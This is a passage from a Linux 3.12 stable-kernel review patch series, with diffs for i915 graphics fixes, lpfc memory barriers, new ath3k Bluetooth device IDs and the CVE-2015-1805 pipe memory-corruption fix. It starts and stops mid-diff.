 	u32 savePIPEB_LINK_N1;
 	u32 saveMCHBAR_RENDER_STANDBY;
 	u32 savePCH_PORT_HOTPLUG;
+	u16 saveGCDGMBUS;
 };
 
 struct intel_gen6_power_mgmt {
diff --git a/drivers/gpu/drm/i915/i915_reg.h b/drivers/gpu/drm/i915/i915_reg.h
index 4e0053e64f14..4438a43cf193 100644
--- a/drivers/gpu/drm/i915/i915_reg.h
+++ b/drivers/gpu/drm/i915/i915_reg.h
@@ -72,6 +72,7 @@
 #define   I915_GC_RENDER_CLOCK_166_MHZ	(0 << 0)
 #define   I915_GC_RENDER_CLOCK_200_MHZ	(1 << 0)
 #define   I915_GC_RENDER_CLOCK_333_MHZ	(4 << 0)
+#define GCDGMBUS 0xcc
 #define LBB	0xf4
 
 /* Graphics reset regs */
diff --git a/drivers/gpu/drm/i915/i915_suspend.c b/drivers/gpu/drm/i915/i915_suspend.c
index 70db618989c4..97f395f16f1c 100644
--- a/drivers/gpu/drm/i915/i915_suspend.c
+++ b/drivers/gpu/drm/i915/i915_suspend.c
@@ -366,6 +366,10 @@ int i915_save_state(struct drm_device *dev)
 
 	intel_disable_gt_powersave(dev);
 
+	if (IS_GEN4(dev))
+		pci_read_config_word(dev->pdev, GCDGMBUS,
+				     &dev_priv->regfile.saveGCDGMBUS);
+
 	/* Cache mode state */
 	dev_priv->regfile.saveCACHE_MODE_0 = I915_READ(CACHE_MODE_0);
 
@@ -413,6 +417,10 @@ int i915_restore_state(struct drm_device *dev)
 		}
 	}
 
+	if (IS_GEN4(dev))
+		pci_read_config_word(dev->pdev, GCDGMBUS,
+				     &dev_priv->regfile.saveGCDGMBUS);
+
 	/* Cache mode state */
 	I915_WRITE(CACHE_MODE_0, dev_priv->regfile.saveCACHE_MODE_0 | 0xffff0000);
 
-- 
2.4.6

[PATCH 3.12 058/124] drm/i915: Evict CS TLBs between batches

[Jiri Slaby]

From: Chris Wilson <chris@chris-wilson.co.uk>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit c4d69da167fa967749aeb70bc0e94a457e5d00c1 upstream.

Running igt, I was encountering the invalid TLB bug on my 845g, despite
that it was using the CS workaround. Examining the w/a buffer in the
error state, showed that the copy from the user batch into the
workaround itself was suffering from the invalid TLB bug (the first
cacheline was broken with the first two words reversed). Time to try a
fresh approach. This extends the workaround to write into each page of
our scratch buffer in order to overflow the TLB and evict the invalid
entries. This could be refined to only do so after we update the GTT,
but for simplicity, we do it before each batch.

I suspect this supersedes our current workaround, but for safety keep
doing both.

V2: The magic number shall be 2.

This doesn't conclusively prove that it is the mythical TLB bug we've
been trying to workaround for so long, that it requires touching a number
of pages to prevent the corruption indicates to me that it is TLB
related, but the corruption (the reversed cacheline) is more subtle than
a TLB bug, where we would expect it to read the wrong page entirely.

Oh well, it prevents a reliable hang for me and so probably for others
as well.

Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>
Cc: Daniel Vetter <daniel.vetter@ffwll.ch>
Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
Cc: stable@vger.kernel.org
Reviewed-by: Daniel Vetter <daniel.vetter@ffwll.ch>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/i915/i915_reg.h         | 12 ++++--
 drivers/gpu/drm/i915/intel_ringbuffer.c | 66 +++++++++++++++++++--------------
 2 files changed, 47 insertions(+), 31 deletions(-)

diff --git a/drivers/gpu/drm/i915/i915_reg.h b/drivers/gpu/drm/i915/i915_reg.h
index 4438a43cf193..67db524c3d9e 100644
--- a/drivers/gpu/drm/i915/i915_reg.h
+++ b/drivers/gpu/drm/i915/i915_reg.h
@@ -290,16 +290,20 @@
 #define GFX_OP_DESTBUFFER_INFO	 ((0x3<<29)|(0x1d<<24)|(0x8e<<16)|1)
 #define GFX_OP_DRAWRECT_INFO     ((0x3<<29)|(0x1d<<24)|(0x80<<16)|(0x3))
 #define GFX_OP_DRAWRECT_INFO_I965  ((0x7900<<16)|0x2)
-#define SRC_COPY_BLT_CMD                ((2<<29)|(0x43<<22)|4)
+
+#define COLOR_BLT_CMD			(2<<29 | 0x40<<22 | (5-2))
+#define SRC_COPY_BLT_CMD		((2<<29)|(0x43<<22)|4)
 #define XY_SRC_COPY_BLT_CMD		((2<<29)|(0x53<<22)|6)
 #define XY_MONO_SRC_COPY_IMM_BLT	((2<<29)|(0x71<<22)|5)
-#define XY_SRC_COPY_BLT_WRITE_ALPHA	(1<<21)
-#define XY_SRC_COPY_BLT_WRITE_RGB	(1<<20)
+#define   BLT_WRITE_A			(2<<20)
+#define   BLT_WRITE_RGB			(1<<20)
+#define   BLT_WRITE_RGBA		(BLT_WRITE_RGB | BLT_WRITE_A)
 #define   BLT_DEPTH_8			(0<<24)
 #define   BLT_DEPTH_16_565		(1<<24)
 #define   BLT_DEPTH_16_1555		(2<<24)
 #define   BLT_DEPTH_32			(3<<24)
-#define   BLT_ROP_GXCOPY		(0xcc<<16)
+#define   BLT_ROP_SRC_COPY		(0xcc<<16)
+#define   BLT_ROP_COLOR_COPY		(0xf0<<16)
 #define XY_SRC_COPY_BLT_SRC_TILED	(1<<15) /* 965+ only */
 #define XY_SRC_COPY_BLT_DST_TILED	(1<<11) /* 965+ only */
 #define CMD_OP_DISPLAYBUFFER_INFO ((0x0<<29)|(0x14<<23)|2)
diff --git a/drivers/gpu/drm/i915/intel_ringbuffer.c b/drivers/gpu/drm/i915/intel_ringbuffer.c
index 776ed3f7ef66..4e51ce2bbb85 100644
--- a/drivers/gpu/drm/i915/intel_ringbuffer.c
+++ b/drivers/gpu/drm/i915/intel_ringbuffer.c
@@ -1088,54 +1088,66 @@ i965_dispatch_execbuffer(struct intel_ring_buffer *ring,
 
 /* Just userspace ABI convention to limit the wa batch bo to a resonable size */
 #define I830_BATCH_LIMIT (256*1024)
+#define I830_TLB_ENTRIES (2)
+#define I830_WA_SIZE max(I830_TLB_ENTRIES*4096, I830_BATCH_LIMIT)
 static int
 i830_dispatch_execbuffer(struct intel_ring_buffer *ring,
 				u32 offset, u32 len,
 				unsigned flags)
 {
+	u32 cs_offset = ring->scratch.gtt_offset;
 	int ret;
 
-	if (flags & I915_DISPATCH_PINNED) {
-		ret = intel_ring_begin(ring, 4);
-		if (ret)
-			return ret;
+	ret = intel_ring_begin(ring, 6);
+	if (ret)
+		return ret;
 
-		intel_ring_emit(ring, MI_BATCH_BUFFER);
-		intel_ring_emit(ring, offset | (flags & I915_DISPATCH_SECURE ? 0 : MI_BATCH_NON_SECURE));
-		intel_ring_emit(ring, offset + len - 8);
-		intel_ring_emit(ring, MI_NOOP);
-		intel_ring_advance(ring);
-	} else {
-		u32 cs_offset = ring->scratch.gtt_offset;
+	/* Evict the invalid PTE TLBs */
+	intel_ring_emit(ring, COLOR_BLT_CMD | BLT_WRITE_RGBA);
+	intel_ring_emit(ring, BLT_DEPTH_32 | BLT_ROP_COLOR_COPY | 4096);
+	intel_ring_emit(ring, I830_TLB_ENTRIES << 16 | 4); /* load each page */
+	intel_ring_emit(ring, cs_offset);
+	intel_ring_emit(ring, 0xdeadbeef);
+	intel_ring_emit(ring, MI_NOOP);
+	intel_ring_advance(ring);
 
+	if ((flags & I915_DISPATCH_PINNED) == 0) {
 		if (len > I830_BATCH_LIMIT)
 			return -ENOSPC;
 
-		ret = intel_ring_begin(ring, 9+3);
+		ret = intel_ring_begin(ring, 6 + 2);
 		if (ret)
 			return ret;
-		/* Blit the batch (which has now all relocs applied) to the stable batch
-		 * scratch bo area (so that the CS never stumbles over its tlb
-		 * invalidation bug) ... */
-		intel_ring_emit(ring, XY_SRC_COPY_BLT_CMD |
-				XY_SRC_COPY_BLT_WRITE_ALPHA |
-				XY_SRC_COPY_BLT_WRITE_RGB);
-		intel_ring_emit(ring, BLT_DEPTH_32 | BLT_ROP_GXCOPY | 4096);
-		intel_ring_emit(ring, 0);
-		intel_ring_emit(ring, (DIV_ROUND_UP(len, 4096) << 16) | 1024);
+
+		/* Blit the batch (which has now all relocs applied) to the
+		 * stable batch scratch bo area (so that the CS never
+		 * stumbles over its tlb invalidation bug) ...
+		 */
+		intel_ring_emit(ring, SRC_COPY_BLT_CMD | BLT_WRITE_RGBA);
+		intel_ring_emit(ring, BLT_DEPTH_32 | BLT_ROP_SRC_COPY | 4096);
+		intel_ring_emit(ring, DIV_ROUND_UP(len, 4096) << 16 | 1024);
 		intel_ring_emit(ring, cs_offset);
-		intel_ring_emit(ring, 0);
 		intel_ring_emit(ring, 4096);
 		intel_ring_emit(ring, offset);
+
 		intel_ring_emit(ring, MI_FLUSH);
+		intel_ring_emit(ring, MI_NOOP);
+		intel_ring_advance(ring);
 
 		/* ... and execute it. */
-		intel_ring_emit(ring, MI_BATCH_BUFFER);
-		intel_ring_emit(ring, cs_offset | (flags & I915_DISPATCH_SECURE ? 0 : MI_BATCH_NON_SECURE));
-		intel_ring_emit(ring, cs_offset + len - 8);
-		intel_ring_advance(ring);
+		offset = cs_offset;
 	}
 
+	ret = intel_ring_begin(ring, 4);
+	if (ret)
+		return ret;
+
+	intel_ring_emit(ring, MI_BATCH_BUFFER);
+	intel_ring_emit(ring, offset | (flags & I915_DISPATCH_SECURE ? 0 : MI_BATCH_NON_SECURE));
+	intel_ring_emit(ring, offset + len - 8);
+	intel_ring_emit(ring, MI_NOOP);
+	intel_ring_advance(ring);
+
 	return 0;
 }
 
@@ -1811,7 +1823,7 @@ int intel_init_render_ring_buffer(struct drm_device *dev)
 		struct drm_i915_gem_object *obj;
 		int ret;
 
-		obj = i915_gem_alloc_object(dev, I830_BATCH_LIMIT);
+		obj = i915_gem_alloc_object(dev, I830_WA_SIZE);
 		if (obj == NULL) {
 			DRM_ERROR("Failed to allocate batch bo\n");
 			return -ENOMEM;
-- 
2.4.6

[PATCH 3.12 059/124] lpfc: Add iotag memory barrier

[Jiri Slaby]

From: James Smart <james.smart@emulex.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 27f344eb15dd0da80ebec80c7245e8c85043f841 upstream.

Add a memory barrier to ensure the valid bit is read before
any of the cqe payload is read. This fixes an issue seen
on Power where the cqe payload was getting loaded before
the valid bit. When this occurred, we saw an iotag out of
range error when a command completed, but since the iotag
looked invalid the command didn't get completed to scsi core.
Later we hit the command timeout, attempted to abort the command,
then waited for the aborted command to get returned. Since the
adapter already returned the command, we timeout waiting,
and end up escalating EEH all the way to host reset. This
patch fixes this issue.

Signed-off-by: Brian King <brking@linux.vnet.ibm.com>
Signed-off-by: James Smart <james.smart@emulex.com>

 ---

 lpfc_sli.c |   21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)
Signed-off-by: Christoph Hellwig <hch@lst.de>

Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 drivers/scsi/lpfc/lpfc_sli.c | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/drivers/scsi/lpfc/lpfc_sli.c b/drivers/scsi/lpfc/lpfc_sli.c
index 612f48973ff2..2d1ffd157c28 100644
--- a/drivers/scsi/lpfc/lpfc_sli.c
+++ b/drivers/scsi/lpfc/lpfc_sli.c
@@ -263,6 +263,16 @@ lpfc_sli4_eq_get(struct lpfc_queue *q)
 		return NULL;
 
 	q->hba_index = idx;
+
+	/*
+	 * insert barrier for instruction interlock : data from the hardware
+	 * must have the valid bit checked before it can be copied and acted
+	 * upon. Given what was seen in lpfc_sli4_cq_get() of speculative
+	 * instructions allowing action on content before valid bit checked,
+	 * add barrier here as well. May not be needed as "content" is a
+	 * single 32-bit entity here (vs multi word structure for cq's).
+	 */
+	mb();
 	return eqe;
 }
 
@@ -368,6 +378,17 @@ lpfc_sli4_cq_get(struct lpfc_queue *q)
 
 	cqe = q->qe[q->hba_index].cqe;
 	q->hba_index = idx;
+
+	/*
+	 * insert barrier for instruction interlock : data from the hardware
+	 * must have the valid bit checked before it can be copied and acted
+	 * upon. Speculative instructions were allowing a bcopy at the start
+	 * of lpfc_sli4_fp_handle_wcqe(), which is called immediately
+	 * after our return, to copy data before the valid bit check above
+	 * was done. As such, some of the copied data was stale. The barrier
+	 * ensures the check is before any data is copied.
+	 */
+	mb();
 	return cqe;
 }
 
-- 
2.4.6

[PATCH 3.12 060/124] ath3k: Add support of 0489:e076 AR3012 device

[Jiri Slaby]

From: Dmitry Tunin <hanipouspilot@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 692c062e7c282164fd7cda68077f79dafd176eaf upstream.

BugLink: https://bugs.launchpad.net/bugs/1462614

This device requires new firmware files
 AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to
/lib/firmware/ar3k/ that are not included in linux-firmware yet.

T: Bus=03 Lev=01 Prnt=01 Port=09 Cnt=06 Dev#= 7 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=0489 ProdID=e076 Rev= 0.01
C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms
E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms
E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms
I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms
I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms
I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms
I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms
I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms

Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/bluetooth/ath3k.c | 2 ++
 drivers/bluetooth/btusb.c | 1 +
 2 files changed, 3 insertions(+)

diff --git a/drivers/bluetooth/ath3k.c b/drivers/bluetooth/ath3k.c
index 0e3978496339..73f5ad101e53 100644
--- a/drivers/bluetooth/ath3k.c
+++ b/drivers/bluetooth/ath3k.c
@@ -80,6 +80,7 @@ static struct usb_device_id ath3k_table[] = {
 	{ USB_DEVICE(0x0489, 0xe057) },
 	{ USB_DEVICE(0x0489, 0xe056) },
 	{ USB_DEVICE(0x0489, 0xe05f) },
+	{ USB_DEVICE(0x0489, 0xe076) },
 	{ USB_DEVICE(0x0489, 0xe078) },
 	{ USB_DEVICE(0x04c5, 0x1330) },
 	{ USB_DEVICE(0x04CA, 0x3004) },
@@ -135,6 +136,7 @@ static struct usb_device_id ath3k_blist_tbl[] = {
 	{ USB_DEVICE(0x0489, 0xe056), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0489, 0xe057), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0489, 0xe05f), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x0489, 0xe076), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0489, 0xe078), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04c5, 0x1330), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04ca, 0x3004), .driver_info = BTUSB_ATH3012 },
diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c
index 070913737f44..a470fef99728 100644
--- a/drivers/bluetooth/btusb.c
+++ b/drivers/bluetooth/btusb.c
@@ -157,6 +157,7 @@ static struct usb_device_id blacklist_table[] = {
 	{ USB_DEVICE(0x0489, 0xe056), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0489, 0xe057), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0489, 0xe05f), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x0489, 0xe076), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0489, 0xe078), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04c5, 0x1330), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04ca, 0x3004), .driver_info = BTUSB_ATH3012 },
-- 
2.4.6

[PATCH 3.12 061/124] ath3k: add support of 13d3:3474 AR3012 device

[Jiri Slaby]

From: Dmitry Tunin <hanipouspilot@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 0d0cef6183aec0fb6d0c9f00a09ff51ee086bbe2 upstream.

BugLink: https://bugs.launchpad.net/bugs/1427680

This device requires new firmware files
 AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to
/lib/firmware/ar3k/ that are not included in linux-firmware yet.

T: Bus=01 Lev=01 Prnt=01 Port=04 Cnt=01 Dev#= 4 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=13d3 ProdID=3474 Rev=00.01
C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb

Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/bluetooth/ath3k.c | 2 ++
 drivers/bluetooth/btusb.c | 1 +
 2 files changed, 3 insertions(+)

diff --git a/drivers/bluetooth/ath3k.c b/drivers/bluetooth/ath3k.c
index 73f5ad101e53..9c2c62587ae7 100644
--- a/drivers/bluetooth/ath3k.c
+++ b/drivers/bluetooth/ath3k.c
@@ -112,6 +112,7 @@ static struct usb_device_id ath3k_table[] = {
 	{ USB_DEVICE(0x13d3, 0x3408) },
 	{ USB_DEVICE(0x13d3, 0x3423) },
 	{ USB_DEVICE(0x13d3, 0x3432) },
+	{ USB_DEVICE(0x13d3, 0x3474) },
 
 	/* Atheros AR5BBU12 with sflash firmware */
 	{ USB_DEVICE(0x0489, 0xE02C) },
@@ -168,6 +169,7 @@ static struct usb_device_id ath3k_blist_tbl[] = {
 	{ USB_DEVICE(0x13d3, 0x3408), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3423), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3432), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x13d3, 0x3474), .driver_info = BTUSB_ATH3012 },
 
 	/* Atheros AR5BBU22 with sflash firmware */
 	{ USB_DEVICE(0x0489, 0xE036), .driver_info = BTUSB_ATH3012 },
diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c
index a470fef99728..7f411e71b31d 100644
--- a/drivers/bluetooth/btusb.c
+++ b/drivers/bluetooth/btusb.c
@@ -189,6 +189,7 @@ static struct usb_device_id blacklist_table[] = {
 	{ USB_DEVICE(0x13d3, 0x3408), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3423), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3432), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x13d3, 0x3474), .driver_info = BTUSB_ATH3012 },
 
 	/* Atheros AR5BBU12 with sflash firmware */
 	{ USB_DEVICE(0x0489, 0xe02c), .driver_info = BTUSB_IGNORE },
-- 
2.4.6

[PATCH 3.12 062/124] pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic

[Jiri Slaby]

From: Ben Hutchings <ben@decadent.org.uk>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec,
the first time atomically and the second time not.  The second attempt
needs to continue from the iovec position, pipe buffer offset and
remaining length where the first attempt failed, but currently the
pipe buffer offset and remaining length are reset.  This will corrupt
the piped data (possibly also leading to an information leak between
processes) and may also corrupt kernel memory.

This was fixed upstream by commits f0d1bec9d58d ("new helper:
copy_page_from_iter()") and 637b58c2887e ("switch pipe_read() to
copy_page_to_iter()"), but those aren't suitable for stable.  This fix
for older kernel versions was made by Seth Jennings for RHEL and I
have extracted it from their update.

CVE-2015-1805

References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/pipe.c | 55 ++++++++++++++++++++++++++++++++-----------------------
 1 file changed, 32 insertions(+), 23 deletions(-)

diff --git a/fs/pipe.c b/fs/pipe.c
index 0e0752ef2715..3e7ab278bb0c 100644
--- a/fs/pipe.c
+++ b/fs/pipe.c
@@ -117,25 +117,27 @@ void pipe_wait(struct pipe_inode_info *pipe)
 }
 
 static int
-pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len,
-			int atomic)
+pipe_iov_copy_from_user(void *addr, int *offset, struct iovec *iov,
+			size_t *remaining, int atomic)
 {
 	unsigned long copy;
 
-	while (len > 0) {
+	while (*remaining > 0) {
 		while (!iov->iov_len)
 			iov++;
-		copy = min_t(unsigned long, len, iov->iov_len);
+		copy = min_t(unsigned long, *remaining, iov->iov_len);
 
 		if (atomic) {
-			if (__copy_from_user_inatomic(to, iov->iov_base, copy))
+			if (__copy_from_user_inatomic(addr + *offset,
+						      iov->iov_base, copy))
 				return -EFAULT;
 		} else {
-			if (copy_from_user(to, iov->iov_base, copy))
+			if (copy_from_user(addr + *offset,
+					   iov->iov_base, copy))
 				return -EFAULT;
 		}
-		to += copy;
-		len -= copy;
+		*offset += copy;
+		*remaining -= copy;
 		iov->iov_base += copy;
 		iov->iov_len -= copy;
 	}
@@ -143,25 +145,27 @@ pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len,
 }
 
 static int
-pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len,
-		      int atomic)
+pipe_iov_copy_to_user(struct iovec *iov, void *addr, int *offset,
+		      size_t *remaining, int atomic)
 {
 	unsigned long copy;
 
-	while (len > 0) {
+	while (*remaining > 0) {
 		while (!iov->iov_len)
 			iov++;
-		copy = min_t(unsigned long, len, iov->iov_len);
+		copy = min_t(unsigned long, *remaining, iov->iov_len);
 
 		if (atomic) {
-			if (__copy_to_user_inatomic(iov->iov_base, from, copy))
+			if (__copy_to_user_inatomic(iov->iov_base,
+						    addr + *offset, copy))
 				return -EFAULT;
 		} else {
-			if (copy_to_user(iov->iov_base, from, copy))
+			if (copy_to_user(iov->iov_base,
+					 addr + *offset, copy))
 				return -EFAULT;
 		}
-		from += copy;
-		len -= copy;
+		*offset += copy;
+		*remaining -= copy;
 		iov->iov_base += copy;
 		iov->iov_len -= copy;
 	}
@@ -395,7 +399,7 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov,
 			struct pipe_buffer *buf = pipe->bufs + curbuf;
 			const struct pipe_buf_operations *ops = buf->ops;
 			void *addr;
-			size_t chars = buf->len;
+			size_t chars = buf->len, remaining;
 			int error, atomic;
 
 			if (chars > total_len)
@@ -409,9 +413,11 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov,
 			}
 
 			atomic = !iov_fault_in_pages_write(iov, chars);
+			remaining = chars;
 redo:
 			addr = ops->map(pipe, buf, atomic);
-			error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
+			error = pipe_iov_copy_to_user(iov, addr, &buf->offset,
+						      &remaining, atomic);
 			ops->unmap(pipe, buf, addr);
 			if (unlikely(error)) {
 				/*
@@ -426,7 +432,6 @@ redo:
 				break;
 			}
 			ret += chars;
-			buf->offset += chars;
 			buf->len -= chars;
 
 			/* Was it a packet buffer? Clean up and exit */
@@ -531,6 +536,7 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov,
 		if (ops->can_merge && offset + chars <= PAGE_SIZE) {
 			int error, atomic = 1;
 			void *addr;
+			size_t remaining = chars;
 
 			error = ops->confirm(pipe, buf);
 			if (error)
@@ -539,8 +545,8 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov,
 			iov_fault_in_pages_read(iov, chars);
 redo1:
 			addr = ops->map(pipe, buf, atomic);
-			error = pipe_iov_copy_from_user(offset + addr, iov,
-							chars, atomic);
+			error = pipe_iov_copy_from_user(addr, &offset, iov,
+							&remaining, atomic);
 			ops->unmap(pipe, buf, addr);
 			ret = error;
 			do_wakeup = 1;
@@ -575,6 +581,8 @@ redo1:
 			struct page *page = pipe->tmp_page;
 			char *src;
 			int error, atomic = 1;
+			int offset = 0;
+			size_t remaining;
 
 			if (!page) {
 				page = alloc_page(GFP_HIGHUSER);
@@ -595,14 +603,15 @@ redo1:
 				chars = total_len;
 
 			iov_fault_in_pages_read(iov, chars);
+			remaining = chars;
 redo2:
 			if (atomic)
 				src = kmap_atomic(page);
 			else
 				src = kmap(page);
 
-			error = pipe_iov_copy_from_user(src, iov, chars,
-							atomic);
+			error = pipe_iov_copy_from_user(src, &offset, iov,
+							&remaining, atomic);
 			if (atomic)
 				kunmap_atomic(src);
 			else
-- 
2.4.6

[PATCH 3.12 063/124] Bluetooth: ath3k: add support of 04ca:300f AR3012 device

[Jiri Slaby]

From: Dmitry Tunin <hanipouspilot@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit ec0810d2ac1c932dad48f45da67e3adc5c5449a1 upstream.

BugLink: https://bugs.launchpad.net/bugs/1449730

T:  Bus=01 Lev=01 Prnt=01 Port=04 Cnt=02 Dev#=  3 Spd=12  MxCh= 0
D:  Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs=  1
P:  Vendor=04ca ProdID=300f Rev=00.01
C:  #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I:  If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
I:  If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb

Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 drivers/bluetooth/ath3k.c | 2 ++
 drivers/bluetooth/btusb.c | 1 +
 2 files changed, 3 insertions(+)

diff --git a/drivers/bluetooth/ath3k.c b/drivers/bluetooth/ath3k.c
index 9c2c62587ae7..bc37bed95d57 100644
--- a/drivers/bluetooth/ath3k.c
+++ b/drivers/bluetooth/ath3k.c
@@ -89,6 +89,7 @@ static struct usb_device_id ath3k_table[] = {
 	{ USB_DEVICE(0x04CA, 0x3007) },
 	{ USB_DEVICE(0x04CA, 0x3008) },
 	{ USB_DEVICE(0x04CA, 0x300b) },
+	{ USB_DEVICE(0x04CA, 0x300f) },
 	{ USB_DEVICE(0x04CA, 0x3010) },
 	{ USB_DEVICE(0x0930, 0x0219) },
 	{ USB_DEVICE(0x0930, 0x0220) },
@@ -145,6 +146,7 @@ static struct usb_device_id ath3k_blist_tbl[] = {
 	{ USB_DEVICE(0x04ca, 0x3006), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04ca, 0x3008), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04ca, 0x300b), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x04ca, 0x300f), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04ca, 0x3010), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0930, 0x0219), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0930, 0x0220), .driver_info = BTUSB_ATH3012 },
diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c
index 7f411e71b31d..d1a1dc1e81c8 100644
--- a/drivers/bluetooth/btusb.c
+++ b/drivers/bluetooth/btusb.c
@@ -166,6 +166,7 @@ static struct usb_device_id blacklist_table[] = {
 	{ USB_DEVICE(0x04ca, 0x3007), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04ca, 0x3008), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x04ca, 0x300b), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x04ca, 0x300f), .driver_info = BTUSB_ATH3012 },
